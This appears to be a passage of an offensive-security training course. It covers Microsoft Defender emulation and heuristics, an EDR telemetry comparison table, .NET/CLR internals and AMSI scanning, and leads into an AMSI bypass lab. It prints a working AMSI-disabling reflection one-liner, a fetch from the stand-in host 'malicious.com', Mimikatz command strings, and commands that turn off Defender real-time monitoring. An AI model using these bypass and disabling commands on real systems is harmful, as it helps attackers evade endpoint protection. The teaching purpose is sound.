  • Unpacks polymorphic and packed malware by observing decrypted or decompressed payloads in memory.
  • Detects suspicious or malicious operations like modifying memory, self-modifying code, or triggering known malware behaviors.

The emulation results are analyzed in real-time: the engine inspects both the memory contents at the end of emulation and the sequence of operations performed.

It caches results upon successful emulation so repeated scans don't waste resources.

Emulation is tightly integrated with heuristic and machine learning detectors to boost accuracy and expose behaviors that static analysis or quick reputation checks cannot detect.

Benefits and Role in Malware Detection

  • Emulation is especially effective at defeating packers, obfuscators, and polymorphic malware, which hide malicious payloads behind transformations.
  • It bridges the gap between static scanning (fast but sometimes fooled by obfuscation) and full sandbox detonation (cloud-based, deeper but slower analysis).
  • It helps increase detection accuracy and reduce false negatives in real-time endpoint protection.

Trigger Conditions for Defender Emulation

Microsoft Defender's emulation engine typically triggers when a file or executable cannot be reliably classified using faster static analysis or machine learning techniques and is suspected of being evasive malware. Key trigger conditions include:

  • Unknown or untrusted executables without clear static signatures. When the static engine cannot classify a file confidently, emulation is used for dynamic unpacking and behavior observation.
  • Detection of packed, obfuscated, or polymorphic files which may hide their malicious payload behind encryption or code transformations.
  • Heuristic indicators or ML suspicion scores that flag a file as suspicious but require further runtime behavioral context.
  • Files or code sections that exhibit runtime characteristics suspicious enough to warrant deeper dynamic analysis on the endpoint.
  • Emulation may be skipped or deferred if the file is already known safe or blocked by signature/ML, or if resource constraints dictate prioritization.
FeatureDescription
PurposeDynamically analyze suspicious files by emulating execution of code
TechnologyCPU instruction emulation, dynamic translation to intermediate representation
Supported Architecturesx86 (16/32/64-bit), ARM, and others
Detection FocusPacked, polymorphic, and self-modifying malware; suspicious memory and behavioral actions
IntegrationWorks with heuristics, ML, and other detection engines on the client
OutputBehavioral analysis, memory state inspection post-emulation, emulation result caching
UsageEndpoint-level, real-time, lightweight alternative to cloud sandboxing
StrengthsEffective unpacking, detects evasive malware, enhances overall detection rate
LimitationsResource intensive compared to static scanning; limited to what can be emulated on the client

How Microsoft Defender Heuristics Works

A Suspicious heuristic score in Microsoft Defender typically refers to a detection signal generated by a heuristic rule or model that identifies files exhibiting characteristics or behaviors similar to known malware, but without an exact signature match. This score reflects how closely the file matches these suspicious patterns, guiding the decision to escalate the file for further analysis such as emulation.

EXPLANATION

Heuristic rules are manually crafted or automatically derived logic patterns that look for features often found in malicious files, such as suspicious file structure, unusual API usage, packing or encryption indicators, or code anomalies.

The heuristic score quantifies the suspicion level, often combined with other factors like machine learning confidence scores or reputation data.

When a heuristic signature or score exceeds a threshold, it can trigger the emulation engine to dynamically analyze the file's behavior.

Example

A heuristic rule might flag an executable that:

  • Uses uncommon system calls associated with code injection (Win32API)
  • Contains suspiciously aligned sections or irregular import tables (PE-Format)
  • Includes a known packer (i.e. UPX ) signature or exhibits entropy patterns typical of encrypted payloads

For example, a heuristic rule could be:

  • "Flag PE files where the .text section contains more than 80% high entropy bytes indicating encryption, and the import table appears unusually small or corrupted."

If a scanned file matches this rule, Defender will assign a suspicious heuristic score. If high enough, the emulation engine will be triggered to unpack and inspect the file's runtime behavior to confirm if it is malicious.

1.5 BEHAVIORAL MONITORING WITH ETW

Microsoft Defender does not use hooking of functions, API's or syscalls to monitor behavior - instead it relies on ETW (Event Tracing for Windows) and Eventlog policies that need to be enabled.

Microsoft Defender uses ETW and kernel callbacks for behavioral monitoring:

  • ETW / Kernel callbacks
  • Eventlog policies that need to be enabled
  • Sampling includes:
    • file writes
    • dll's loaded
    • Registry writes
    • network connections (1 per unique process per day per machine)

1.6 EDR TELEMETRY COMPARISON MATRIX

Source: edr-telemetry.com

Telemetry Feature CategorySub-CategorySysmonMDECortex XDRSentinelOneCrowdStrike
Process ActivityProcess Creation✅✅✅✅✅
Process Termination✅❌✅❌✅
Process Access✅✅✅✅✅
Image/Library Loaded✅✅✅✅✅
Remote Thread Creation✅✅✅✅✅
Process Tampering Activity✅✅⚠️✅✅
Process Call Stacks✅❌❌❌✅
Win32 API Telemetry❌✅❓❓❓
File ManipulationFile Creation✅✅✅✅✅
File Opened❌❌❌❌⚠️
File Deletion✅✅✅✅✅
File Modification❌✅✅✅✅
File Renaming❌✅✅✅✅
User Account ActivityLocal Account Creation❌✅🪵✅✅
Local Account Modification❌✅🪵🪵⚠️
Local Account Deletion❌✅🪵🪵✅
Account Login❌✅✅✅✅
Account Logoff❌❌✅✅✅
Network ActivityTCP Connection✅✅✅✅✅
UDP Connection✅❌✅❌✅
URL❌✅❌🎚️❌
DNS Query✅✅✅✅✅
File Downloaded❌✅❌❌✅
Hash AlgorithmsMD5✅✅✅✅✅
SHA✅✅✅✅✅
IMPHASH✅❌❌❌❌
JA3/JA3s❌✅❌❌❌
Registry ActivityKey/Value Creation✅✅✅✅⚠️
Key/Value Modification✅✅✅✅⚠️
Key/Value Deletion✅✅✅✅❌
Scheduled Task ActivityScheduled Task Creation❌✅🪵✅✅
Scheduled Task Modification❌✅🪵✅✅
Scheduled Task Deletion❌✅🪵✅✅
Service ActivityService Creation❌✅🪵✅✅
Service Modification❌❌🪵🎚️⚠️
Service Deletion❌❌❌❌❌
Driver/Module ActivityDriver Loaded✅✅✅✅✅
Driver Modification❌❌❌❌✅
Driver Unloaded❌❌❌⚠️❌
Device OperationsVirtual Disk Mount❌✅⚠️❌✅
USB Device Unmount❌✅⚠️🎚️✅
USB Device Mount❌✅⚠️🎚️✅
Other Relevant EventsGroup Policy Modification❌✅❌✅❌
Volume Shadow Copy Deletion❌❌❓✅✅
Named Pipe ActivityPipe Creation✅✅❌🎚️✅
Pipe Connection✅✅❌🎚️✅
EDR SysOpsAgent Start✅🪵⚠️✅✅
Agent Stop✅🪵✅✅✅
Agent Install❌🪵✅✅❌
Agent Uninstall❌❌✅✅✅
Agent Keep-Alive❌🪵✅✅✅
Agent Errors✅✅✅✅✅
WMI ActivityWmiEventConsumerToFilter✅✅🎚️✅✅
WmiEventConsumer✅✅🎚️✅✅
WmiEventFilter✅✅🎚️✅✅
BITS JOBS ActivityBITS JOBS Activity❌❌🎚️🪵✅
PowerShell ActivityScript-Block Activity❌✅🪵✅✅

Legend

IconMeaningDescription
✅YesFully implemented
❌NoNot implemented
⚠️PartiallyPartially implemented
❓PendingPending response
🪵Via EventLogsAvailable via Windows Event Logs
🎚️Via EnablingRequires manual enablement (not default)

1.7 ADDITIONAL RESOURCES

BSides Berlin 2022: "EDR Evasion Primer" - Jorge Gimenez
https://www.youtube.com/watch?v=3sPb9d9WIG0

FirstCon 2022 : "EDR Internals From a Defenders Perspective" - Olaf Hartong (FalconForce)
https://www.youtube.com/watch?v=6SSVOfcoVUA

Wild West Hackin' Fest 2025 : "Detection Engineering...My Educational Failures That Proved to be Useful, After All" - Olaf Hartong (FalconForce)
https://www.youtube.com/watch?v=EhpJc4W9-fE

https://www.edr-telemetry.com/windows.html

Screenshot Screenshot Screenshot Screenshot

References:

1. .NET & CLR / POWERSHELL

1.1 WHAT IS .NET? (FROM A DFIR PERSPECTIVE)

.NET is a Microsoft framework that helps developers build apps for Windows, web, mobile, and more. It's like a toolbox with pre-built components (libraries for files, networking, etc.) so developers don't start from scratch. On Windows 10, .NET is used for desktop apps, web services, and system tools.

DFIR Relevance: Many apps, including malware, use .NET because it's easy to develop and obfuscate.

1.2 WHAT IS THE CLR?

The Common Language Runtime (CLR) is the engine that runs .NET apps. On Windows 10, it:

  1. Executes Code: Converts .NET code (written in C# or other languages) into CPU instructions.
  2. Manages Memory: Handles memory allocation and cleanup (garbage collection) to avoid crashes.
  3. Ensures Security: Enforces rules to limit malicious code, like sandboxing or permission checks.
  4. Supports Multiple Languages: Allows different programming languages to work together.

How Does It Work on Windows 10?

  • .NET apps are compiled into MSIL (Microsoft Intermediate Language), not direct machine code.
  • The CLR uses a Just-In-Time (JIT) compiler to turn MSIL into machine code at runtime.
  • The CLR dynamically resolves dependencies (e.g., kernel32.dll, clr.dll) at runtime, not statically in the IAT.

DFIR Implications

  1. Artifacts: Look for .NET assemblies (.exe, .dll), config files, or logs in %APPDATA%, %PROGRAMFILES%, or Windows Event Logs.
  2. Malware Analysis: .NET malware is common. Use tools like dnSpy or ILSpy to decompile and analyze code.
  3. Memory Forensics: Check memory dumps for .NET structures (heap, JIT code) to understand app behavior using Volatility or Rekall.
  4. Execution Traces: Processes like clr.dll or mscorwks.dll indicate .NET activity.

1.3 .NET LANGUAGES

  • PowerShell (scripting)
  • VB.NET (compiled to MSIL)
  • C# (compiled to MSIL)
  • F# (compiled to MSIL)

dotnet

Here's a simplified diagram:

dotnet

Unlike C/C++ programs, which are compiled to native code and rely directly on ntdll.dll, kernel32.dll, and other system libraries, .NET binaries require additional DLLs—mscoree.dll and clr.dll—to initialize and run the .NET CLR. However, .NET binaries still load ntdll.dll and kernel32.dll initially, as these are essential for all Windows processes.

1.4 .NET BINARY ANALYSIS BREAKDOWN

.NET binaries have unique characteristics that affect both malware development and detection:

  • Minimal IAT: Typically only referencing mscoree.dll, as they are compiled to MSIL and rely on the CLR for final machine code conversion via JIT compilation.
  • Easy Reversibility: The MSIL code is easily reversed with tools like dnSpy, exposing plain text strings and logic, but attackers use obfuscation to counter this.
  • EDR Detection: EDRs focus on hooking the CLR rather than the IAT to monitor .NET apps.
  • AMSI Integration: AMSI is dynamically loaded by the CLR and scans buffers, strings, or assemblies for malicious content.

Import Address Table Analysis

The Import Address Table (IAT) in a Windows PE file lists DLLs and functions a binary needs at runtime. Native binaries (e.g., C/C++) have detailed IATs referencing kernel32.dll, user32.dll, etc.

.NET binaries have a minimal IAT, typically only referencing mscoree.dll (Microsoft .NET Runtime Execution Engine, via _CorExeMain or _CorDllMain). The IAT isn't truly "missing" but is sparse because the CLR dynamically resolves system APIs (e.g., CreateFile) via .NET framework classes (e.g., System.IO.File).

DFIR Analysis: Use PEiD or CFF Explorer to check the IAT. A sparse IAT (e.g., only mscoree.dll) is a quick .NET binary indicator, prompting analysis with dnSpy rather than traditional IAT analysis.

JIT Compilation Process

.NET binaries are compiled to MSIL, a platform-independent intermediate language, not native machine code. The CLR uses a Just-In-Time (JIT) compiler to convert MSIL to native code (e.g., x86/x64) at runtime.

DFIR Analysis: MSIL's structured format is easily reversed with dnSpy or ILSpy, aiding malware analysis. Attackers use obfuscators (e.g., ConfuserEx) to counter this. In memory forensics, find JIT-compiled code or MSIL in memory dumps.

dotnet

dotnet

dotnet

dotnet

EDR Detection Methods

Endpoint Detection and Response (EDR) solutions hook system APIs (e.g., CreateFile in kernel32.dll) for native binaries, but .NET's minimal IAT makes this less effective. EDRs hook CLR components (e.g., JIT compiler, .NET methods like System.Net.WebClient) to monitor .NET apps, as the CLR mediates system calls.

DFIR Analysis: Check EDR logs for CLR-related alerts (e.g., suspicious JIT compilation or .NET method calls). Look for CLR hook evasion in memory or logs (e.g., via reflection).

Code Reversibility

.NET binaries store MSIL and metadata, including plain text strings (e.g., URLs, file paths), easily decompiled with dnSpy or ILSpy into readable C# code. Attackers use obfuscators (e.g., ConfuserEx) to scramble strings or methods, but analysts can often deobfuscate with tools or manual effort.

DFIR Analysis: Extract strings (e.g., C2 URLs) with dnSpy during malware analysis. Check for obfuscation and use de4dot to deobfuscate if needed. Find plain text strings in memory dumps or logs for quick investigative leads.

AMSI Integration

AMSI (Antimalware Scan Interface) integrates with the CLR to scan .NET code, scripts, or in-memory content (e.g., strings, buffers, assemblies) for malicious behavior. The CLR dynamically loads AMSI when processing .NET methods or scripts (e.g., PowerShell using .NET objects).

Attackers bypass AMSI (e.g., via PowerShell commands like [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)).

DFIR Analysis: Check Windows Event Logs (Microsoft-Windows-Windows Defender/Operational, Event IDs 1100–1102) for AMSI detections. Look for AMSI bypass scripts in PowerShell logs or memory. Analyze CLR-managed memory with Volatility for AMSI-scanned buffers.

1.5 WHY C# FOR THIS TRAINING?

So why are we doing this training in C# (CSHARP/dotnet) - below is an overview, but having C# payloads, stagers and loaders is that they can easily be re-used in other frameworks (i.e. SLIVER), using execute-assembly and similar features that allow executing .net executables in memory. Additionally they can be used in powershell scripts, as we'll see in the next few labs.

PerspectiveAdvantagesDisadvantages
Detection/ForensicsFileless Execution: Leverages .NET for in-memory execution (e.g., PowerShell, Assembly.Load), avoiding disk writes and evading file-based AV.
Living Off the Land: Uses trusted Windows tools (e.g., PowerShell, WMI), blending with legitimate activity.
Obfuscation: Supports runtime compilation (e.g., CSharpCodeProvider) to generate dynamic payloads, complicating static analysis.
Ephemeral Artifacts: Memory-based attacks leave transient evidence, lost on reboot, challenging forensics without live memory captures.
.NET Telemetry: CLR generates logs (e.g., PowerShell Script Block Logging, Event ID 4104), detectable by EDRs like Microsoft Defender.
Behavioral Detection: High-level APIs (e.g., System.Net.Http) trigger EDR alerts for unusual process behavior.
Memory Forensics: .NET's structured memory (e.g., IL code, metadata) is easier to analyze than raw shellcode using tools like Volatility.
.NET Dependency: Requires .NET runtime, which may be hardened or absent, increasing detectability.
CapabilitiesRapid Development: High-level syntax and .NET libraries enable quick creation of complex tools (e.g., C2 clients, keyloggers).
Windows Integration: Seamless use of PowerShell, WMI, and Windows APIs for fileless attacks and lateral movement.
Dynamic Payloads: Runtime code generation (e.g., Assembly.Load) allows adaptive, stealthy payloads.
Obfuscation Ecosystem: Tools like ConfuserEx enhance payload protection against reverse-engineering.
Cross-Platform Support: Modern .NET Core/.NET 5+ provides cross-platform capabilities beyond Windows.
Limited Low-Level Control: Managed environment restricts raw memory manipulation (e.g., shellcode injection) without P/Invoke, increasing complexity.
Runtime Overhead: .NET CLR (JIT, garbage collection) adds performance overhead, potentially noticeable in constrained environments.
Lack of Persistence: Fileless attacks require disk-based persistence mechanisms (e.g., registry), risking detection.
Primary Windows Focus: While cross-platform capable, most security-relevant .NET usage remains Windows-centric.

Let's continue to how AMSI and ETW are relevant within an AV/EDR's detection engine.

1. AMSI (ANTI-MALWARE SCANNING INTERFACE)

AMSI was introduced in June 2015.

The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.

AMSI is agnostic of antimalware vendor; it's designed to allow for the most common malware scanning and protection techniques provided by today's antimalware products that can be integrated into applications. It supports a calling structure allowing for file and memory or stream scanning, content source URL/IP reputation checks, and other techniques.

image

1.1 AMSI INTEGRATION IN WINDOWS 10 COMPONENTS

In Windows 10 (version 22H2), the Antimalware Scan Interface (AMSI) is integrated into the following components:

  • User Account Control (UAC): Scans scripts during elevation of EXE, COM, MSI, or ActiveX installations.
  • PowerShell v5 and later: Scans scripts, interactive commands, and dynamic code evaluation, including .NET assemblies.
  • Windows Script Host (Wscript.exe, Cscript.exe): Scans VBScript and JScript during execution.
  • Microsoft Office (including Office 365): Scans VBA macros, Excel 4.0 macros, and JavaScript in documents and web add-ins, except when bypassed by Trusted Locations, Trusted Documents, Trusted Publishers, or "Enable All Macros" settings.
  • Windows Management Instrumentation (WMI): Scans scripts executed via WMI providers (e.g., PowerShell via wmic.exe).
  • .NET Framework 4.8 and later: Scans assemblies loaded by the CLR at runtime, particularly for in-memory code.
  • SharePoint Server (2016, 2019, Subscription Edition): Scans HTTP requests and content since March 2023 (2019) and November 2022 (Subscription Edition).
  • Exchange Server: Scans HTTP requests and content since June 2021.
  • Volume Shadow Copy Operations: Scans scripts executed during shadow copy operations.

https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps

Runtime – Antimalware Scanning for All Assemblies In previous versions of .NET Framework, Windows Defender or third-party antimalware software would automatically scan all assemblies loaded from disk for malware. However, assemblies loaded from elsewhere, such as by using Assembly.Load(byte[]), would not be scanned and could potentially carry viruses undetected.

.NET Framework 4.8 (released April 18th on Windows 10) triggers scans for those assemblies by Windows Defender and many other antimalware solutions that implement the Antimalware Scan Interface. Making it harder for malware to disguise itself in .NET programs.

LINK : https://devblogs.microsoft.com/dotnet/announcing-net-framework-4-8-early-access-build-3694/

LINK : https://en.wikipedia.org/wiki/.NET_Framework_version_history

In Microsoft Office's default configuration (macro security set to "Disable all macros with notification"), Microsoft Office scans VBA macros at runtime via AMSI, except in the following scenarios:

  • Macro security is set to "Enable All Macros" in the Trust Center.
  • Documents are opened from Trusted Locations.
  • Documents are marked as Trusted Documents.
  • Documents contain VBA macros digitally signed by a Trusted Publisher.

Supported Operating Systems

  • Windows 10 PRO/ENTERPRISE and Windows Server 2016 and later

Supported 3rd Party Antivirus/EDR Vendors

  • Windows Defender
  • Carbon Black Defense
  • Crowdstrike Falcon
  • Kaspersky
  • McAfee Endpoint Security 10.6.0
  • Sophos
  • Symantec (v14.3 and later)
  • and a lot more...

LINK : https://github.com/subat0mik/whoamsi

  • To check which version of .NET and the CLR is installed open a PowerShell prompt and type the following:
$psversiontable
[System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion
$dotnet = [System.Reflection.Assembly]::Load("mscorlib")
$dotnet.GetName().Version

image

  • Let's see if our AMSI engine is working properly by doing a simple AMSI Test Sample (comparable to EICAR):

1.2 AMSI TEST

  • Let's make sure our Defender and AMSI is turned on:
Invoke-Expression 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'

image

  • Even funnier, when you run the following command in a PowerShell console, AMSI will flag it as malicious, although the PowerShell script is not even available on your Windows machine:
Invoke-Mimikatz

image

1.3 BYPASSING AMSI AND HOW IT WORKS

AMSI integrates with multiple Windows components, including PowerShell and the CLR for .NET/C# binaries.

  • In PowerShell v5 and later, amsi.dll is loaded into every powershell.exe process to scan scripts, interactive commands, and dynamic code.
  • For .NET binaries (C# or others) in .NET Framework 4.8 and later, AMSI integrates with the CLR, which dynamically loads amsi.dll to scan assemblies (e.g., during Assembly.Load or JIT compilation).

AMSI bypasses effective in PowerShell (e.g., patching AmsiScanBuffer or disabling via reflection) do not necessarily work for CLR integration, as the CLR's scanning is independent. Understanding these differences is critical for analyzing or bypassing AMSI in DFIR scenarios.

  • When a .NET binary runs, the CLR (via clr.dll) loads amsi.dll dynamically to enable scanning. This happens in processes like powershell.exe (for .NET-invoking scripts) or custom .NET executables.

  • The CLR calls AMSI APIs (AmsiScanString, AmsiScanBuffer) to submit content (strings, buffers, or assembly metadata) to an antimalware provider (e.g., Windows Defender) for signature or heuristic-based analysis.

  • This integration is distinct from PowerShell's AMSI scanning, which focuses on scripts and commands. However, PowerShell scripts invoking .NET code (e.g., via Add-Type) bridge these integrations, triggering CLR-AMSI scans.

AMSI in PowerShell: AmsiScanBuffer and AmsiScanString

  • Integration: In PowerShell v5 and later (including PowerShell 7), AMSI is integrated via System.Management.Automation.dll. Every powershell.exe process loads amsi.dll to scan scripts, interactive commands, and dynamic code (e.g., via Invoke-Expression).

  • APIs Used:

    1. AmsiScanBuffer:

      • Purpose: Scans raw bytes/binary data (byte arrays, file contents, assembly bytes).
      • Usage Examples:
        # Example 1: Raw byte array manipulation
        $bytes = [System.IO.File]::ReadAllBytes("C:\temp\payload.exe")
        # AMSI scans the $bytes buffer before any execution
        
        # Example 2: Base64 decoded to byte array (DUAL SCANNING)
        $encodedPayload = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAA..."
        # ↑ AmsiScanString scans this Base64 string for malicious patterns
        
        $buffer = [Convert]::FromBase64String($encodedPayload)
        # ↑ AmsiScanBuffer scans the decoded byte array for binary signatures
        # Result: BOTH string AND buffer scanning occur
        
        # Example 3: Assembly loading from bytes
        $assemblyBytes = [Convert]::FromBase64String($base64Assembly)
        [System.Reflection.Assembly]::Load($assemblyBytes)
        # AMSI scans the $assemblyBytes buffer before CLR loads it
        
      • DFIR Relevance: Detects fileless malware using binary payloads, provides layered defense against encoded threats.
    2. AmsiScanString:

      • Purpose: Scans text content (script code, URLs, command strings, Base64 strings).
      • Usage Examples:
        # Example 1: Direct string evaluation
        $maliciousScript = "Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'"
        Invoke-Expression $maliciousScript
        # AMSI scans the string content before execution
        
        # Example 2: URL strings
        $url = "http://malicious.com/payload.ps1"
        Invoke-WebRequest $url
        # AMSI scans the URL string for malicious indicators
        
        # Example 3: Base64 encoded strings (before decoding)
        $encoded = "SW52b2tlLU1pbWlrYXR6"  # "Invoke-Mimikatz" in Base64
        # AMSI scans for known malicious Base64 patterns
        
      • DFIR Relevance: Identifies hardcoded malicious strings, commands, and encoded content patterns.
  • Mechanism: PowerShell passes content to amsi.dll via these APIs before execution, allowing antimalware providers (e.g., Windows Defender) to perform signature or heuristic analysis.

Layered AMSI Defense Strategy

AMSI implements a multi-stage scanning approach that makes simple encoding ineffective:

  1. String-based Detection: Scans for known malicious Base64 patterns, URLs, and command signatures
  2. Binary-based Detection: Scans decoded binary content for malware signatures
  3. Runtime Detection: Scans assemblies and dynamic code during execution

Example of Layered Defense:

# Attacker attempts Base64 encoding bypass
$malware = "SW52b2tlLU1pbWlrYXR6"  # Encoded "Invoke-Mimikatz"
# ↑ Stage 1: AmsiScanString may detect known malicious Base64 patterns

$decoded = [Convert]::FromBase64String($malware)
# ↑ Stage 2: AmsiScanBuffer scans the decoded binary/string content

Invoke-Expression([System.Text.Encoding]::ASCII.GetString($decoded))
# ↑ Stage 3: AmsiScanString scans the final decoded command string

This demonstrates why Base64 encoding alone is insufficient to bypass AMSI - multiple scanning stages catch threats at different points in the execution pipeline.

Comparison to CLR-AMSI Integration

  • PowerShell:

    • amsi.dll is loaded in every powershell.exe process.
    • Scans scripts and commands using AmsiScanBuffer (encoded/binary) and AmsiScanString (text).
    • Overlaps with CLR when .NET code is invoked (e.g., Add-Type).
  • CLR (.NET Framework 4.8+):

    • CLR (via clr.dll) loads amsi.dll dynamically to scan assemblies (e.g., Assembly.Load), buffers, and strings.
    • Focuses on compiled .NET binaries, not raw scripts.
  • Overlap: PowerShell scripts using .NET (e.g., Add-Type) trigger both PowerShell and CLR AMSI scans.

Key Points

  • PowerShell uses AmsiScanBuffer and AmsiScanString, mirroring CLR's scanning for .NET binaries.
  • Dual scanning occurs when content transitions between string and binary formats (e.g., Base64 decoding).
  • PowerShell focuses on scripts, while CLR focuses on assemblies, with overlap in .NET-invoking scripts.
  • PowerShell bypasses (e.g., patching AmsiScanBuffer) may not affect CLR scans.
  • Layered defense makes simple encoding techniques ineffective against AMSI.

RECAP : AMSI in PowerShell v5 and later uses AmsiScanBuffer to scan binary content and AmsiScanString to scan text content. Both APIs can be triggered in a single operation (e.g., Base64 decoding triggers string scanning for the encoded content and buffer scanning for the decoded bytes). Similarly, in .NET Framework 4.8 and later, the CLR uses these APIs to scan strings, buffers, and assemblies. This multi-stage scanning makes simple encoding ineffective. amsi.dll is loaded into every powershell.exe process, while the CLR loads it dynamically for .NET binaries. PowerShell bypasses don't always work for CLR integration, as they are independent. This distinction is critical for DFIR analysis and bypass techniques.

1.4 AMSI DLL ANALYSIS

  • As a first check, let's see in which process AMSI.dll has been loaded. Open a PowerShell prompt:
Get-Process | where {$_.modules.ModuleName -eq 'Amsi.dll'}

image

  • We can also use SystemInformer (previously known as Process Hacker) to verify, open System Informer, scroll down to your PowerShell process, right-click and select properties:

image

  • Go to the modules tab, this will show all DLLs loaded by the process, you will find the amsi.dll there indeed!

image

  • We're going to have a closer look at that AMSI.dll and see which functions it exports (more on functions later - just know that a Windows program will load certain DLLs from disk - these DLLs contain common functions that Microsoft has made available to make life a bit easier for developers).

Pre-requisites: dumpbin.exe /exports file.dll (requires visual studio c++ and msvc v142)

Screenshot

Screenshot

  • Open the "Developer Command Prompt for Visual Studio 2019"

image

  • If we have a look at the amsi.dll's exported functions using dumpbin (use the Visual Studio 2019 Developer Command Prompt for this!) we see the following functions are available:

  • Open a Visual Studio developer prompt:

image

dumpbin c:\windows\system32\amsi.dll /exports
ordinal hint RVA      name

          1    0 00003860 AmsiCloseSession
          2    1 000034E0 AmsiInitialize
          3    2 00003800 AmsiOpenSession
 [+]      4    3 00003880 AmsiScanBuffer -> scans the content of buffers
 [+]      5    4 00003980 AmsiScanString -> scans the content of strings (variables)
          6    5 000039E0 AmsiUacInitialize
          7    6 00003C60 AmsiUacScan
          8    7 00003C00 AmsiUacUninitialize
          9    8 000037A0 AmsiUninitialize
         10    9 00001B00 DllCanUnloadNow
         11    A 00001B40 DllGetClassObject
         12    B 00001C80 DllRegisterServer
         13    C 00001C80 DllUnregisterServer

HINT : These tools are super useful for analyzing basic functionality of binary files (exports for DLLs, imports for EXEs - to get an idea of the functions being used by the program.)

dumpbin c:\windows\system32\notepad.exe /imports
  • We can also see this in PEStudio or similar tools:

image

  • You'll also notice that you won't find any IMPORTS on a .NET (compiled C#) binary - which is a nice bonus for evasion (IAT function hooking...). The reason for this is:

  • .NET Executables Use Managed Code: A .NET EXE is primarily composed of managed code, which runs in the .NET runtime (CLR). Unlike native PE files, .NET executables don't directly import functions from DLLs in the traditional PE import table. Instead, they rely on the .NET runtime to handle interactions with native APIs. The import table in a .NET EXE is often minimal or empty because most dependencies are resolved through the CLR, which dynamically loads native APIs (e.g., via P/Invoke) at runtime.

  • Minimal Import Table: A typical .NET EXE only has a small stub in its PE import table, often limited to basic dependencies like mscoree.dll (the .NET runtime loader). For example, the import table might only include _CorExeMain from mscoree.dll, which initializes the CLR. If you run dumpbin /IMPORTS, you might see only this entry (or nothing if the tool skips trivial imports), as the actual function calls to native APIs are managed by the .NET runtime.

  • P/Invoke for Native Calls: When a .NET application calls native functions (e.g., from kernel32.dll), it uses Platform Invoke (P/Invoke). These calls are not statically listed in the PE import table but are resolved dynamically at runtime by the CLR, which loads the required DLLs and functions. As a result, dumpbin /IMPORTS cannot see these dynamic imports because they aren't part of the static PE structure.

  • Metadata-Driven Dependencies: .NET executables rely on metadata (stored in the .NET assembly) to describe dependencies, including references to other .NET assemblies or native DLLs via P/Invoke. This metadata is not part of the PE import table, so dumpbin doesn't display it.

We can see in the PEStudio image above the AmsiScanBuffer and AmsiScanString functions we talked about earlier. So the question is, how do we bypass this functionality?

Let's go to a simple AMSI Bypass lab and find out.

1. LAB - AMSI BYPASS IN POWERSHELL

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

1.1 ENABLE POWERSHELL LOGGING

IMPORTANT: Before we continue we need to set up Powershell logging on our Windows machine - you can do this with a Group Policy when you're domain joined as push this to all domain joined machines. As we're not in a domain, you need to configure this on your local machine. On Windows 10 and above, Powershell logging IS turned on but it will not log everything, just significant system events. Commands that are obfuscated or executed via encoded strings (e.g., Powershell -EncodedCommand) are not decoded or logged in a human-readable format, if you don't turn on Script Block Logging (Event ID 4104).

So let's quickly configure this for the coming labs by opening gpedit.msc.

Open Group Policy Editor:

  • Press Win + R, type gpedit.msc, and press Enter to open the Local Group Policy Editor.

dotnet

Navigate to Powershell Settings:

  • Go to: Computer Configuration > Administrative Templates > Windows Components > Windows Powershell

dotnet

  • Scroll all the way down to Windows Powershell

dotnet

Enable Script Block Logging:

  • Double-click the Turn on Powershell Script Block Logging policy.
  • Set it to Enabled.
  • Click Apply and OK.

dotnet

Enable Module Logging:

  • Double-click the Turn on Module Logging policy.
  • Set it to Enabled.
  • CLick on Show and add * to log all modules.
  • Click Apply and OK.

dotnet

Apply the Policy:

  • On your Windows machine, open a command prompt with Administrator privileges and run:
gpupdate /force

Verify the Settings:

  • Verify the settings by checking our Powershell logs with Event Viewer.

dotnet

  • This will log any Powershell commands and script contents run in a Powershell console - using Event Viewer we can have a look for Event ID 800, 4103 and 4104. Open Event Viewer and go to Applications and Services Logs - MICROSOFT - POWERSHELL - OPERATIONAL.

image

image

Enable security privileges

If you can't open the powershell logs in eventviewer - run the control command below to enable security privileges for Powershell:

Open a command prompt with Administrator privileges and run the following command to enable security privileges for Powershell:

wevtutil sl Microsoft-Windows-PowerShell/Operational /ca:"O:SYG:SYD:(A;;0x1;;;SY)(A;;0x7;;;BA)"

1.2 ENABLE WINDOWS DEFENDER

On your Windows machines we made some exceptions in Windows Defender, anything in those folders won't be scanned by Defender. This is to make sure when we work with malicious shellcode or compile malicious files that they won't be immediately detected and removed:

[+] C:\Downloads -> to make it easier to download our tools without AV Detection
[+] C:\THEV -> our training course code and labs
[+] C:\Temp -> Used by GoCheck

  • We can check some general Defender settings in Powershell:
Get-MpComputerStatus
Get-MpThreat
(Get-MpPreference).ExclusionPath

For this lab we will enable Microsoft Defender - in order to demonstrate how AMSI works, and how to bypass it.

  • Check if Defender is turned ON by running the av_check.ps1 script on your Windows machine by opening a Powershell prompt with Administrator privileges:
C:\thev\labs\powershell\av_check.ps1
  • The output will probably be like this, as we turned Defender off in the previous labs, but it doesn't hurt to check:

image

IMPORTANT: If Defender is not turned on, you can enable it by running the av_enable.ps1 script:

  • On your Windows machine, open a Powershell prompt with Administrator privileges:
c:\thev\labs\powershell\av_enable.ps1
  • The output should be like this:

image

For those interested - the script contains the following code:

image

Some Details on What This Script Does

Real-Time Protection

  • Real-Time Protection: This is a feature of Microsoft Defender that continuously monitors your system for threats (e.g., malware, viruses) in real-time. It scans files, apps, and processes as they are accessed or executed. Setting DisableRealtimeMonitoring to $true turns off real-time protection, meaning files and processes are no longer automatically scanned.

  • This does not disable Microsoft Defender entirely — it only disables real-time scanning. Other features like scheduled scans and manual scans will still work.

Set-MpPreference -DisableRealtimeMonitoring $true

Cloud-Delivered Protection

  • The MAPSReporting setting controls the Microsoft Active Protection Service (MAPS), also referred to as Cloud-Delivered Protection. Setting it to Disabled stops your system from sending information about threats to Microsoft and prevents it from receiving cloud-based threat intelligence in real time.
Set-MpPreference -MAPSReporting Disable

Automatic Sample Submission

